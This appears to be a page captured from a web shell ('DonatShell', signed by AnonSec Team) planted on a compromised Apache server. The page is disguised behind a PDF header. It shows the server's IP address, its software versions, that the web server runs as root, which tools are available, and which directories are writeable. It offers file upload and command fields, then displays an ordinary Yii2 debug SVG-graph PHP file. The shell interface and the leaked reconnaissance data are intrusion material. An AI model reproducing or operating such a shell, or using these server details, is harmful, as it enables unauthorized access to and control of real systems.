%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/water/vendor/yiisoft/yii2-debug/src/models/timeline/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/water/vendor/yiisoft/yii2-debug/src/models/timeline/Svg.php
<?php
/**
 * @link http://www.yiiframework.com/
 * @copyright Copyright (c) 2008 Yii Software LLC
 * @license http://www.yiiframework.com/license/
 */

namespace yii\debug\models\timeline;

use yii\base\BaseObject;
use yii\debug\panels\TimelinePanel;
use yii\helpers\StringHelper;

/**
 * Svg is used to draw a graph using SVG
 *
 * @author Dmitriy Bashkarev <dmitriy@bashkarev.com>
 * @since 2.0.8
 */
class Svg extends BaseObject
{
    /**
     * @var int Max X coordinate
     */
    public $x = 1920;
    /**
     * @var int Max Y coordinate
     */
    public $y = 40;
    /**
     * @var string Stroke color
     */
    public $stroke = '#1e6823';
    /**
     * @var array Listen messages panels
     */
    public $listenMessages = ['log', 'profiling'];
    /**
     * @var array Color indicators svg graph.
     */
    public $gradient = [
        10 => '#d6e685',
        60 => '#8cc665',
        90 => '#44a340',
        100 => '#1e6823'
    ];
    /**
     * @var string Svg template
     */
    public $template = '<svg xmlns="http://www.w3.org/2000/svg" width="{x}" height="{y}" viewBox="0 0 {x} {y}" preserveAspectRatio="none"><defs>{linearGradient}</defs><g><polygon points="{polygon}" fill="url(#gradient)"/><polyline points="{polyline}" fill="none" stroke="{stroke}" stroke-width="1"/></g></svg>';

    /**
     * ```php
     * [
     *  [x, y]
     * ]
     * ```
     * @var array Each point is define by a X and a Y coordinate.
     */
    protected $points = [];
    /**
     * @var TimelinePanel
     */
    protected $panel;


    /**
     * {@inheritdoc}
     */
    public function __construct(TimelinePanel $panel, $config = [])
    {
        parent::__construct($config);
        $this->panel = $panel;
        foreach ($this->listenMessages as $panel) {
            if (isset($this->panel->module->panels[$panel]->data['messages'])) {
                $this->addPoints($this->panel->module->panels[$panel]->data['messages']);
            }
        }
    }

    /**
     * @return string
     */
    public function __toString()
    {
        if ($this->points === []) {
            return '';
        }

        return strtr($this->template, [
            '{x}' => StringHelper::normalizeNumber($this->x),
            '{y}' =>  StringHelper::normalizeNumber($this->y),
            '{stroke}' => $this->stroke,
            '{polygon}' => $this->polygon(),
            '{polyline}' => $this->polyline(),
            '{linearGradient}' => $this->linearGradient()
        ]);
    }

    /**
     * @return bool Has points
     */
    public function hasPoints()
    {
        return ($this->points !== []);
    }

    /**
     * @param array $messages log messages. See [[Logger::messages]] for the structure
     * @return int added points
     */
    protected function addPoints($messages)
    {
        $hasPoints = $this->hasPoints();

        $memory = $this->panel->memory / 100; // 1 percent memory
        $yOne = $this->y / 100; // 1 percent Y coordinate
        $xOne = $this->panel->duration / $this->x; // 1 percent X coordinate

        $i = 0;
        foreach ($messages as $message) {
            if (empty($message[5])) {
                break;
            }
            ++$i;
            $this->points[] = [
                ($message[3] * 1000 - $this->panel->start) / $xOne,
                $this->y - ($message[5] / $memory * $yOne),
            ];
        }

        if ($hasPoints && $i) {
            usort($this->points, function ($a, $b) {
                return ($a[0] < $b[0]) ? -1 : 1;
            });
        }
        return $i;
    }

    /**
     * @return string Points attribute for polygon path
     */
    protected function polygon()
    {
        $str = "0 $this->y ";
        foreach ($this->points as $point) {
            list($x, $y) = $point;
            $str .= "{$x} {$y} ";
        }
        $str .= $this->x - 0.001 . " {$y} {$this->x} {$this->y}";
        return StringHelper::normalizeNumber($str);
    }

    /**
     * @return string Points attribute for polyline path
     */
    protected function polyline()
    {
        $str = "0 $this->y ";
        foreach ($this->points as $point) {
            list($x, $y) = $point;
            $str .= "{$x} {$y} ";
        }
        $str .= "$this->x {$y}";
        return StringHelper::normalizeNumber($str);
    }

    /**
     * @return string
     */
    protected function linearGradient()
    {
        $gradient = '<linearGradient id="gradient" x1="0" x2="0" y1="1" y2="0">';
        foreach ($this->gradient as $percent => $color) {
            $gradient .= '<stop offset="' . StringHelper::normalizeNumber($percent) . '%" stop-color="' . $color . '"></stop>';
        }
        return $gradient . '</linearGradient>';
    }
}

Anon7 - 2022
AnonSec Team